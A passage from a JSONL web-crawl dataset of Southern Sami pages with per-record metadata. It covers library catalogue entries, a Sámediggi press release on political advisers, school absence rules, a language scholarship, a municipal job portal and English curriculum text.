0.9989792108535767}","num_words":87,"character_repetition_ratio":0.077,"word_repetition_ratio":0.0,"special_characters_ratio":0.169,"stopwords_ratio":0.115,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaelije Kjellström, Rolf Bertije Carlssons Vaadtasovvemejaepie 2000 Faage Siebriedahkefaage Saemien histovrije jïh siebriedahke Daltese 8-10 VGS Jollebe ööhpehtimmie Giele Svïenskegïele ISBN 9172039302 Formaate Sïejhme gærja Reakta-aajhtere Carlssons Reaktah Gaajhkh reaktah leah doelehtovveme Mennie bielesne 300 Aamhtesh Eatnemelearoe Åålmege jïh laanth Saepmie Histovrije Saemien histovrije Kultuvre Litteratuvre Religiovne Aalkoeåålmegi jaahkoe Siebriedahke Siebriedahkedaajroe","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/ovttas.no\/sma\/node\/9438","date":"2021-12-05T13:56:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964363189.92\/warc\/CC-MAIN-20211205130619-20211205160619-00380.warc.gz","language":"sma","language_score":0.9994917512,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9994917511940002}","num_words":47,"character_repetition_ratio":0.106,"word_repetition_ratio":0.0,"special_characters_ratio":0.151,"stopwords_ratio":0.106,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bertije NRK Vaadtasovvemejaepie 2005 Faage Eatnemefaage Siebriedahkefaage Båatsoe jïh design Saemien histovrije jïh siebriedahke Daltese 8-10 VGS Jollebe ööhpehtimmie Giele Noerhtesaemiengïele Daaroengïele ISBN Vi375 Tïjje 00:30:00 Formaate DVD Reakta-aajhtere NRK Reaktah Gaajhkh reaktah leah doelehtovveme Demands Norwaco Jaavoe Aamhtesh Aerpiemaahtoe Eatnemenåhtoe Eatnemelearoe Åålmege jïh laanth Saepmie Kultuvre Filme Aarhte jïh daajroe Eatnemefaage Siebriedahke Politihke Siebriedahkedaajroe","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/ovttas.no\/sma\/filbma_den-sterkestes-rett","date":"2021-11-27T02:56:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964358078.2\/warc\/CC-MAIN-20211127013935-20211127043935-00488.warc.gz","language":"sma","language_score":0.9998983145,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9998983144760132}","num_words":52,"character_repetition_ratio":0.102,"word_repetition_ratio":0.0,"special_characters_ratio":0.149,"stopwords_ratio":0.115,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Laavenjostoeguejmieh NSR, Juhtijesaemielæstoe jïh Gaskoehkrirrie leah seamadamme dam biejjieladtje politihkeles barkoem Saemiedigkesne nænnoestidh.\n– Mijjen leah stoerre syjhtedassh jïh jïjnje barkoe mijjen uvte. Daan boelhken vïjhte stoerretjåanghkoe sjædta jaepien, jïh daate sæjhta jiehtedh mijjieh edtjebe jienebh aamhtesh Saemiedigkien stoerretjåanghkose deelledh. Båatsoelaakemoenehtse edtja sov juvnehtimmieh deelledh. Mijjen leah jienebh jïh krïevije laakeprosessh mah båetieminie. Saemielaaken gïelenjoelkedassh, orre mineraalelaake jïh guhkiebasse barkoe Saemiereaktamoenehtsisnie 2 leah naakenh dejstie stoerre aamhtesijstie. Lissine Saetniesvoete- jïh liktemekommisjovne edtja sov reektehtsem deelledh. Gaajhke daate politihkeles barkoefaamoem kreava, saemiedigkiepresideente Silje Karine Muotka (NSR) jeahta.\n– Gåalmede jïh minngemes raeriestæjja ij leah riejries annje, men maahtam saarnodh dïhte politihkeles raeriestæjja lea nyjsenæjja, Muotka jeahta.\nEirik Larsen jåarhka goh politihkeles raeriestæjja, daan aejkien Silje Karine Muotkan saemiedigkieraeresne. Dan gaavhtan Eirik Larsen lutniestimmien bïjre syökoe sov tjirkijebarkoste goh saemiedigkietjirkije.\n– Manne joekoen geerjene nammoehtamme sjïdtedh goh politihkeles raeriestæjja. Mijjen leah gellie stoerre aamhtesh mah vuertiemisnie, jïh manne aavodem saemiedigkiepresideentem jïh saemiedigkieraeriem viehkiehtidh dovne stoerre jïh smaave aamhtesinie, Eirik Larsen (NSR) jeahta.\nJohn Mathis Utsi Juhtijesaemielæstoste lea orre raeriestæjja saemiedigkieraaran. Utsi lea båatsoeburrie Karasjohkeste.\n– Manne dan gieltegs jïh vihkeles barkose aavodem mij lea vuertiemisnie. Goh båatsoeburrie hævvi ïedtjem åtnam båatsoste, men mov aaj stoerre iedtije sïejhme saemien aamhtesijstie, goh gïele, kultuvre, joejke jïh klijma, John Mathis Utsi (JSL) jeahta.\nUtsi lea voestes sæjjasadtje Juhtijesaemielæstoen læstose Saemiedægkan, jïh lutniestimmien bïjre syökoe sov tjirkijebarkoste goh sæjjasadtjetjirkije.\nGovlehtallijh:\nsaemiedigkiepresideente Silje Karine Muotka, tlf. 984 87 576\npolitihkeles raeriestæjja Eirik Larsen, tlf. 970 80 217\npolitihkeles raeriestæjja John Mathis Utsi, tlf. 951 75 908","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/sametinget.no\/saernieh\/gookte-allesth-golme-politihkeles-raeriestajjijste-nammoehtamme.17330.aspx","date":"2021-11-28T20:45:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964358591.95\/warc\/CC-MAIN-20211128194436-20211128224436-00533.warc.gz","language":"sma","language_score":0.9998496771,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9998496770858765}","num_words":235,"character_repetition_ratio":0.093,"word_repetition_ratio":0.0,"special_characters_ratio":0.15,"stopwords_ratio":0.128,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"|Remove||Item||Quantity × Price|\n|Your cart is empty|\nGaathoe jïh voerhtje\nKatten og kråka på sørsamisk!\n- Tjaaleme: Arild Torvund Olsen\n- Tjaalehguvvieh dorjeme: Trine Lise Normann\n- Sjisseradimmiemanuse: Are Edvardsen\nRaavmere jïjtse åålmegem bååstide båarkese tjååve, gustie tjoerin baataridh gosse dållevaerie sjuevkiehti. Eah dah daejrieh mij akt stoerre jïh vaarege lea båarken sïjse jåhteme … ajve raavmeren gaahtoe jïh voerhtje dam vueptiestamme. Mohte eah dah maehtieh dam raavmerasse jiehtedh, juktie dïhte ajve dorjehtalla satne dejtie guarka.\nDellie gaahtoe jïh voerhtje dah mah tjurieh biejjiem beerkedh.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/uberpress.no\/item\/gaathoe-jh-voerhtje","date":"2022-05-17T06:57:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662517018.29\/warc\/CC-MAIN-20220517063528-20220517093528-00509.warc.gz","language":"sma","language_score":0.9999611378,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999611377716064}","num_words":80,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.175,"stopwords_ratio":0.075,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Vuasahtallemen hammoedimmie dam aerpievuekien saemien våaroeminie åtna jïh akte orretoelhkestimmie saemien vuekijste. Museume göökte saemien tjiehpiedæjjajgujmie laavenjostoe Juoigat-vuasahtallemen sjïekenisnie.\nGuvvietjiehpiedæjja, hammoedæjja jïh scenograafe Hilde Skancke Pedersen:\nHilde Skancke Pedersen lea Juoigaten vuasahtallemehammoedæjja. Dïhte reakasovvi Hammerfestesne jïh Guovdageaidnusne årroeminie. Hilde ööhpehtimmiem åtna Tjeahpoejïlleskuvleste Oslosne jïh tjaelijestudijumesne Universiteetesne Tromsøesne. Dïhte visuelle tjiehpiedæjjine jïh kuratovrine barka, jïh lea åehpemes sov tjeahpoeprosjekten åvteste stoerretjåanghkoesavkese jïh foajéese Saemiedigkesne (2001). Dïhte tjaala sceneteeksth teateridie, performance- jïh daanhtsoevuasahtallemidie, jïh scenografijine jïh gaarvoehammoedimmine barka.\nMusihketjaelije jïh musihkere Frode Fjellheim:\nFrode lea musihkere jïh musihketjaelije åarjelsaemien maadtoste. ïhte lea ööhpehtamme Trøndelag musikkonservatoriumesne jïh Tråantesne årroeminie. 1990-låhkoen raejeste dïhte sov baantine Transjoik bïjre jarkan fealadamme, jïh jïjtse musihkebertemem Vuelie jåhta. Fjellheim lea daelie professovre Nord Universitetesne jïh studijumem Med joik som utgangspunkt stuvrie. Dïhte åehpies ålkoelaantesne sjïdti gosse rïhpestimmielaavlomem darjoeji Disney-filmese Frost (2013).","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ringve.no\/juoigat-samisk","date":"2022-05-28T12:50:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652663016853.88\/warc\/CC-MAIN-20220528123744-20220528153744-00649.warc.gz","language":"sma","language_score":0.9994083643,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9994083642959595}","num_words":131,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.13,"stopwords_ratio":0.191,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jåarhkelïerehtimmesne gellie njoelkedassh mejtie tjoerh fulkedh. Hoksh datne lea åehpies dej dïedtigujmie mejtie datne learoehkinie åtnah.\nDïedte ööhpehtæmman båetedh.\nLearohkh jåarhkeskuvlesne dïedtem utnieh ööhpehtæmman båetedh jïh eadtjohkelaakan meatan årrodh lïerehtimmesne.\n- Dej veajkoej datne leah båarhte ööhpehtimmeste, tjoerh gaatoem dokumenteeredh.\n- Luhpehts gaatoen jallh gaatoen gaavhtan maam ih maehtieh dokumenteeredh maahta våaroeminie årrodh datne ih karakteerem aktegsfaagine åadtjoeh. Åejvienjoelkedassine dle vielie goh 10 % ov-dokumenteereme gaatoe maehtieh fåantojne årrodh datne ih karakteerem åadtjoeh faagesne.\n- Abpe gaatoe tjaalasåvva væhnadassesne, dejnie nuepine 10 biejjieh destie giesedh jis gaatoe lea luhpie jïh dokumentasjovne gååvnese.\nLohkh vielie gaatoenjoelkedassi bïjre.\nDokumentasjovnem deelledh luhpies gaatoen åvteste\nJis båarhte ööhpehtimmeste skïemtjelassen jallh jeatjah luhpies fåantoej gaavhtan, dellie vihkele datne dokumentasjovnem deellh guktie gaatoe ij konsekvensh karakteeride jallh væhnadassese åadtjoeh .\nLuhpie fåantoeh båarhte årrodh ööhpehtimmeste leah:\n- healsoe- jïh tryjjesvoetefåantoeh (healsoefåantoej åvteste tjoerh bæjhkoehtimmiem utnedh dåaktaristie\n- barkoe goh tjirkije\n- politihkeles barkoe\n- viehkiebarkoe\n- laakevïedteldihkie båatalasse\n- representasjovne öörnemisnie nasjonaale jallh gaskenasjonaale njieptjesne (v.g gaarsjelimmie jallh kultuvre\n- religijööse bissiebiejjieh lïhtsegidie jeatjah jaahkoeseabradahkeste goh Nöörjen gærhkoe (raajan 2 skuvlebiejjieh)\nTjåanghkoe raeriestæjjine, learohkeraeriebarkoe jïh organiseereme studijebarkoe latjkoen mietie faagelohkehtæjjine jallh rektovrine eah gaatojne ryöknesovvh.\nEadtjohkelaakan meatan årrodh lïerehtimmesne jïh vuarjasjimmietsiehkine\n- Lohkehtæjja tjuara nuekie våaromem utnedh jis edtja maehtedh dov maahtoem vuarjasjidh jïh dutnjien karakteerem faagesne vedtedh.\nSkuvlen öörnegenjoelkedassh fulkedh\n- Jolle gaatoen gaavhtan jïh jis skuvlen öörnegenjoelkedassi vööste myödte maahta vueliehkåbpoe karakteerem åadtjodh öörnegisnie jallh dåemiedimmesne.","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/www.vilbli.no\/nb\/sma\/no\/maam-skuvle-datneste-kreava-goh-learohke\/a\/033012","date":"2022-08-16T00:59:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882572215.27\/warc\/CC-MAIN-20220815235954-20220816025954-00390.warc.gz","language":"sma","language_score":1.000005126,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000051259994507}","num_words":215,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.131,"stopwords_ratio":0.056,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gïeleskreejremestipende learoehkidie jåarhkeskuvlesne mah leah saemienööhpehtimmiem veeljemeSaemiedigkie gïeleskreejremestipendem vadta learoehkidie jåarhkeskuvlesne mej saemien goh faage jåarhkeskuvlesne. Ohtsememierie 31.03.22. Tjaangh dåarjoeportaalese Ohtsemh skuvlejaapan 2021\/22 maahtah sïjse seedtedh 25.01.22 raejeste 31.03.22 raajan. Ohtsemh iktemearan gïetesuvvieh gosse sïjse båetieh. Vïhtesjadth dastegh datne ih leah 18 jaepieh illeme, tjoerh ohtsemem seedtedh dov eejhtegen ID-porten tjïrrh. Gie maahta stipendem åadtjodh? Learohkh jåarhkeskuvlesne mej saemien gïelelïerehtimmie voestesgïeline, mubpiengïeline jallh ammesgïeline. Learohkh jåarhkeskuvlesne mej saemien gïelelïerehtimmie voestesgïeline, mubpiengïeline jallh ammesgïeline goh maajhööhpehtimmie. Learohkh jåarhkeskuvlesne mah eksamenem saemiengïelesne vaeltieh goh privatiste. Nöörjen staatenårrojh, jallh dah mah reaktam utnieh jïjtjemse registreradidh goh nöörjen staatenårroje jïh lea ektiedamme akten byögkeles jååhkesjamme learoesæjjan Sveerjesne jallh Såevmesne. Juktie stipendem åadtjodh tjoerh learoehkinie årrodh aktene byögkeles jååhkesjamme learoesijjesne Nöörjesne, gusnie maahta ööhpehtimmiedåarjoem åadtjodh öörnegistie Statens lånekasse for utdanning. Ohtsijh mah leah ektiedamme akten byögkeles jååhkesjamme learoesæjjan Sveerjesne jallh Såevmesne tjuerieh nöörjen staatenårrojh årrodh, jallh reaktam utnedh jïjtjemse registreradidh goh nöörjen staatenårroje jïh reaktam utnedh dåarjose öörnegen tjirrh Statens lånekasse for utdanning. Man jïjnjem maahtah stipendine åadtjodh: Saemien voestesgïeline: 10 000 kr Saemien mubpiengïeline – saemien 2: 6 000 kr Saemien mubpiengïeline – saemien 3 jallh saemien 4: 3 500 kr Saemien ammesgïeline: 3 500 kr Lissietjaalege ohtsemasse: Vihtiestimmie skuvleste datne leah learohke skuvlesne jïh dov lea saemien gïelelïerehtimmie. Goh privatiste tjoerh vihtiestimmiem skuvleste seedtedh datne leah learohke skuvlesne jïh datne jïjtjemdh eksamenasse registreradamme. Dastegh datne leah learohke Sveerjesne jallh Såevmesne tjoerh lissiebïevnesh faagelohkehtæjjeste seedtedh mennie daltesisnie lïerehtimmie lea Saemiedigkien njoelkedassi mietie; saemien voestesgïeline, mubpiengïeline 2, 3 jallh 4, jallh ammesgïeline. Vielie bïevnesh stipenden krïevenassi bïjre: Vuartesjh stipendenjoelkedasside. Regelverk for stipend for elever med samisk i videregående skole - søkerbasert tilskudd 2022 Vihtiestimmie skuvleste\/lïerehtimmiesijjeste lïerehtimmien bïjre saemien gïelesne (DOCX, 14 kB) Tjaangh dåarjoeportaalese SistEndret 22.03.2022 12.45","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/sametinget.no\/stipende-jih-daarjoe\/stipende\/gieleskreejremestipende-learoehkidie-jaarhkeskuvlesne-mah-leah-saemienoohpehtimmiem-veeljeme\/","date":"2022-08-17T09:56:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882572898.29\/warc\/CC-MAIN-20220817092402-20220817122402-00686.warc.gz","language":"sma","language_score":0.9999836683,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999836683273315}","num_words":256,"character_repetition_ratio":0.081,"word_repetition_ratio":0.0,"special_characters_ratio":0.156,"stopwords_ratio":0.125,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daate lea ohtsemeportaale gusnie ræhpas ohtsemh Rørosen tjïeltese maehtieh sïjse seedtesovvedh jïh registreereme sjïdtedh. Edtja gaajhkh ræhpas ohtsemh daan barkoebæjhkoehtimmien tjïrrh registreeredh mijjen elektrovneles ohtsemesysteemesne. Ohtsijh mah e-påastem ræhpas ohtsemigujmie påastedåastoevasse seedtieh, sïjhtebe daan barkoebæjhkoehtæmman vuesiehtidh.\nBarkoebæjhkoehtimmie edtja ajve ohtsemeportaaline årrodh gåabph ohtsijh maehtieh ræhpas ohtsemh sïjse bïejedh, jïh gusnie tjïelte maahta sjyöhtehke kandidaati mietie vuartasjidh daerpiesvoeten mietie.\nIj leah naan garantije jallh automatihke ohtsijh mah leah daennie barkoebæjhkoehtimmesne sijhtieh vuarjasjamme sjïdtedh jeatjah barkoebæjhkoehtimmiejgujmie. Datne jïjtje dïedtem åtnah meatan fulkedh tjïelten nedtesæjrosne gosse tjïelte sjiehteles barkoeh bæjhkohte, jïh dejtie barkoebæjhkoehtimmide ohtsedh.\nMijjieh ajve nuepiem utnebe ryöktesth barkoebæjhkoehtimmeste dåårrehtidh daejtie barkojde:\nDaate barkoebæjhkoehtimmie orre aalkoem jïh galhkuvem åådtje gulmh jaepien. Gosse orre aalkoe ohtsijh sijhtieh nyöjhkemeprieviem åadtjodh jïh ohtsemh skubpesuvvieh.\nJis sïjhth jåerhkedh ohtsijinie tjåadtjodh mænngan bæjhkoehtimmie orre aalkose bïejesåvva tjoerh orresistie ohtsedh. Dellie akte orre barkoebæjhkoehtimmie olkese bïejesåvva maam maahtah ohtsedh.\nRørosen tjïelte elektrovneles ohtsemegoerem nuhtjh, vuartesjh tjïelten nedtesæjrosne, «Ledige stillinger» nuelesne gusnie vielie bïevnesh. Jis sïjhth daam barkoem ohtsedh dellie deadtah båalose «Søk her» åelkiesbielesne.\nJuktie sjiehteles barkoem aelhkebelaakan gaavnedh dellie vihkele datne vaajteles barkoesuerkieh tjïertesth dov ohtsemisnie, astoem nuhtjh ellies CV:m jïh ohtsemem darjodh, jïh sjiehteles væhnadassh jïh vihtienassh dov ohtsemen baalte bïejh.\nMujhtieh dam åvtelen ohtsh:\nDette er en søknadsportal hvor åpne søknader til Røros kommune kan sendes inn og registreres. Alle åpne søknader skal registreres gjennom denne utlysningen i det elektroniske søknadssystemet vårt. Søkere som sender epost med åpne søknader til postmottaket, vil bli henvist til denne utlysningen.\nUtlysningen skal kun være en søknadsportal der søkere kan legge inn åpne søknader, og der kommunen kan se etter aktuelle kandidater i ved behov.\nDet er ingen garanti eller automatikk i at søkere som ligger i denne utlysningen vil bli vurdert ved andre stillingsutlysninger. Du er selv ansvarlig for å følge med på kommunens nettside ved utlysning av relevante stillinger og søke på disse utlysningene.\nVi har kun mulighet til å rekruttere direkte fra denne utlysningen til disse stillingene:\nDenne utlysningen nullstilles og avsluttes tre ganger i året. Ved nullstilling vil søkere få et avslagsbrev og søknader vil bli slettet.\nØnsker du å fortsette å stå som søker etter at utlysningen nullstilles må du søke på nytt. Det vil da bli lagt ut en ny utlysning som du kan søke på.\nRøros kommune bruker et elektronisk søknadssystem, se kommunens nettside under «Ledige stillinger» for mer informasjon. Ønsker du å søke på denne stillingen trykker du knappen «Søk her» på høyre side.\nFor å gjøre en mulig stillingsmatch lettere er det viktig at du definerer ønskede arbeidsområder i søknaden din, tar deg tid til å legge inn en utfyllende CV og søknad, samt laster opp relevante attester og vitnemål.\nHusk dette før du søker:\nEngasjement\nVikariat\nDeltid\nHeltid\nVed behov\nDag\nHelg\nKveld\nNatt\nSkift \/ turnus \/ arbeidstidsordning\nVarierende arbeidstid\n31.12.2022\nBergmannsgata 23 7374 Røros","id":"","dump":"CC-MAIN-2022-40","url":"https:\/\/roros.easycruit.com\/vacancy\/3013709\/185849?iso=no","date":"2022-10-02T00:12:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-40\/segments\/1664030336978.73\/warc\/CC-MAIN-20221001230322-20221002020322-00437.warc.gz","language":"sma","language_score":0.9964579344,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9964579343795776}","num_words":462,"character_repetition_ratio":0.079,"word_repetition_ratio":0.0,"special_characters_ratio":0.163,"stopwords_ratio":0.03,"flagged_words_ratio":0.0,"lang_id_score":0.997,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bæjhkoje\nSaemien lohkemejarnge, Elgå skuvle\nFaage\nGiele\nAamhtesh\nViehkiebaakoe\nMaalle spïelese \"Jeatjah baakoejgujmie\"\nDaate maalle juktie maahtah jïjtje orre baakoeh spïelese lissiehtidh. Jis datne baakoem tjaalah mij guhkebe jovhteste gåarede jovhtem stueriemdidh, gïesh annetje aktede gietjeste. Aellieh åajaldehtieh maallem voestegh jieniemdidh! Gaervies jovhth jïh vielie bïevnesh spïelen bïjre daesnie gååvnesieh.\nOvttas|Aktan|Aktesne bruker også analyseverktøy, dette for å forbedre og videreutvikle nettstedet.","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/ovttas.no\/sma\/dokumenta_maalle-spiele-jeatjah-baakoejgujmie","date":"2023-03-27T01:27:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296946584.94\/warc\/CC-MAIN-20230326235016-20230327025016-00326.warc.gz","language":"sma","language_score":0.999982357,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999823570251465}","num_words":61,"character_repetition_ratio":0.004,"word_repetition_ratio":0.0,"special_characters_ratio":0.141,"stopwords_ratio":0.049,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Aerpie-vuekien mietie lohkije-teeksth iktesth trygkeme plaerine jïh våhkoe-plaerine gååvnesamme. Daan biejjien dejtie gaavnebe aaj digitaale medijumine. Mijjieh maehtebe meatan årrodh digkiedidh, maehtebe teeksth jïjtje tjaeledh jallh lahtestidh maam mubpieh leah tjaaleme.\nGellie-såarhts teeksth\nDoh jeanatjommes lohkije-teeksth leah digkiedimmie-lahtesh, amma åenehks argumentereles teeksth aktine tjïelke veanhtojne, man åssjele lea lohkijem jaehkiehtidh. Men maehtebe aaj teeksth tjaeledh mah uvtemes edtjieh bievnedh:\nVuesiehtimmien gaavhtan, Saemien Sijte maahta bievnedh akten prosjekten bïjre, jallh akte privaate almetje maahta akten konserten bïjre tjaeledh mesnie satne orreme.\nAjve akten aamhtesen bïjre\nIj leah naan byjjes njoelkedassh guktie akte lohkije-teeksteedtja vååjnedh, men jis sïjhth gellie lohkijh jaksedh, dellie dov teekste byöroe aktelaaketje årrodh. Tjaelieh dan åvteste åenehks jïh tjyölkehke, jïh ajve akten aamhtesen bïjre.\nAktene lohkije-teekstesne datne dov persovneles vuajnojne båatah, desnie dov åssjaldahkh jïh domtesh tjaalah. Dov lea luhpie aatide ånnetji gïeregen nïlle bïejedh, jïh maahtah maaje ånnetji striengkies årrodh jis tuhtjh daerpies. Ih byörh almetjh håasedh, jïh tjoerh ajve rïektesem tjaeledh.\nNuhtjh gïeleviehkie-dïrregh\nAkte teekste nedtesne jallh paehpere-plaeresne tjuara lohkijen tsåatskelesvoeten bïjre gaahtjedh jïjnjh jeatjah teekstigujmie. Dan åvteste vihkeles datne buektehth lohkijen ïedtjem feengkedh guktie sæjhta dam lohkedh. Nuhtjh gïelem juktie domtesh gåaskodh, jïh tjaelieh naemhtie guktie lohkije datnem, tjaelijem laajhta.","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/ndla.no\/subject:1:11c4696f-e844-4c98-8df7-49d43f59ec33\/topic:2:11f13e74-7cb8-4651-8d10-0927e7a9de48\/topic:2:49b7764c-2e18-4f5f-9bb6-b3ca739f519b\/resource:6eb72b18-dffc-4756-b303-d153ee4d9381","date":"2023-03-25T08:11:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296945317.85\/warc\/CC-MAIN-20230325064253-20230325094253-00030.warc.gz","language":"sma","language_score":1.0000040531,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000040531158447}","num_words":195,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.145,"stopwords_ratio":0.123,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bertije\nVaadtasovvemejaepie\n1986\nDaltese\nGiele\nISBN\n8299145406\nFormaate\nGuvviegærja\nReakta-aajhtere\nReaktah\nGaajhkh reaktah leah doelehtovveme\nMennie bielesne\n298\nGuvviegærja don baaletje Ivgun bïjre.\nVoeneste naan guvviegærja Ivgun bïjre. Kultuvrehistovrijes guvviegærja mij soptseste dovne gånkaj jïh ryjhkehki bïjre, barkoejielemen, dovne badth giefiesvoeten, garre barkoej jïh saangerdimmien bïjre. Lohkebe guktie dah saemieh jïh årroje almetjh, magkeres dah sijjen jielede-eaktoeh jïh jaahkoe lij dennie Ivgusne, Noerhte-Romsesne.\nLohkh ihkie nasjonaalebiblioteekesne, daesnie.\nOvttas|Aktan|Aktesne bruker også analyseverktøy, dette for å forbedre og videreutvikle nettstedet.","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/ovttas.no\/sma\/girji_her-bor-mitt-folk","date":"2023-03-24T03:10:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296945242.64\/warc\/CC-MAIN-20230324020038-20230324050038-00312.warc.gz","language":"sma","language_score":0.9998853207,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9998853206634521}","num_words":75,"character_repetition_ratio":0.034,"word_repetition_ratio":0.0,"special_characters_ratio":0.166,"stopwords_ratio":0.12,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Englaantengïele (ENG01‑04)\nJarngebiehkieh\nGaskesadteme\nGaskesadteme lea mïelem sjugniedidh gïeline jïh maehtedh gïelem nuhtjedh byjjes jïh ovbyjjes ektiedimmine. Learohkh edtjieh åtnose vaeltedh sjiehteles strategijh juktie njaalmeldh jïh tjaaleldh gaskesadtedh joekehts tsiehkine, jïh viehkine joekehts medijh jïh gaaltijh nuhtjedh. Learohkh edtjieh åadtjodh dååjredh, nuhtjedh jïh goerehtidh gïelem voestesiereste. Lïerehtimmie edtja sjïehteladtedh guktie learohkh åadtjoeh soptsestidh jïh mubpiejgujmie årrodh rïektes jïh praktihkeles tsiehkine.\nGïelelïereme\nGïelelïereme sæjhta jiehtedh gïelevoerkesvoetem jïh daajroem englaantengïelem evtiedidh goh systeeme, jïh maehtedh gïelelïeremestrategijh nuhtjedh. Daajroe guktie gïeletjoejh, baakoeveahka jïh baakoe-, raajesestruktuvre jïh teekstestruktuvrh åtnasuvvieh, learoehkidie veeljemh jïh nuepieh vedtieh gaskesadtemisnie jïh ektiedahkosne. Gïelelïereme sæjhta jiehtedh ektiedimmieh vuejnedh englaantengïelen jïh jeatjah gïeli gaskem mejtie learohkh maehtieh, jïh guarkedh guktie englaantengïele lea tseegkesovveme.\nEnglaantengïeleldh teeksth gaavnesjidh\nGïelelïereme sjugniehtåvva englaantengïeleldh teekstigujmie. Teekstebaakoe åtnasåvva vijries goerkesisnie; njaalmeldh jïh tjaaleldh, trygkeme jïh digitaale, grafihkeles jïh tjiehpeles, byjjes jïh ovbyjjes, tjiehpieslidteræære jïh aamhteseteeksth, daaletje tïjjeste jïh åvtetje aejkeste. Teeksth maehtieh utnedh tjaalegh, guvvieh, tjoejem, graafh, taalh jïh jeatjah buektemevuekieh mah tjåanghkan bïejesovveme juktie tjïertestidh jïh dïjrem buektedh. Barkoe englaantengïelen teekstigujmie learoehkidie daajroem jïh dååjrehtimmiem vadta gïeleldh jïh kulturelle gellievoetine, jïh aaj goerkese aalkoeåålmegi jieledevuekiej, ussjedimmievuekiej jïh aerpievuekiej bïjre. Gosse ovmessie såarhts englaantengïeleldh teeksti bijjeli ussjededtieh, toelhkestieh jïh vuarjasjieh, learohkh edtjieh gïelem jïh daajroem kultuvren jïh seabradahken bïjre vejtiestidh. Learohkh dan tjïrrh gaskekulturelle goerkesem evtiedieh guktie maehtieh joekehts jieledevuekieh, ussjedimmievuekieh jïh gaskesadtememöönsterh haalvedh. Learohkh edtjieh våaromem åadtjodh jïjtsh jïh mubpiej identiteetem vuejnedh gelliengïeleldh jïh gellienkulturelle ektiedimmesne.","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/www.udir.no\/lk20\/eng01-04\/om-faget\/kjerneelementer?lang=sma","date":"2023-05-31T18:40:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224647409.17\/warc\/CC-MAIN-20230531182033-20230531212033-00426.warc.gz","language":"sma","language_score":1.0000094175,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000094175338745}","num_words":230,"character_repetition_ratio":0.081,"word_repetition_ratio":0.0,"special_characters_ratio":0.122,"stopwords_ratio":0.174,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Luhkiegovhten jaepien båeries Ole-Henrik 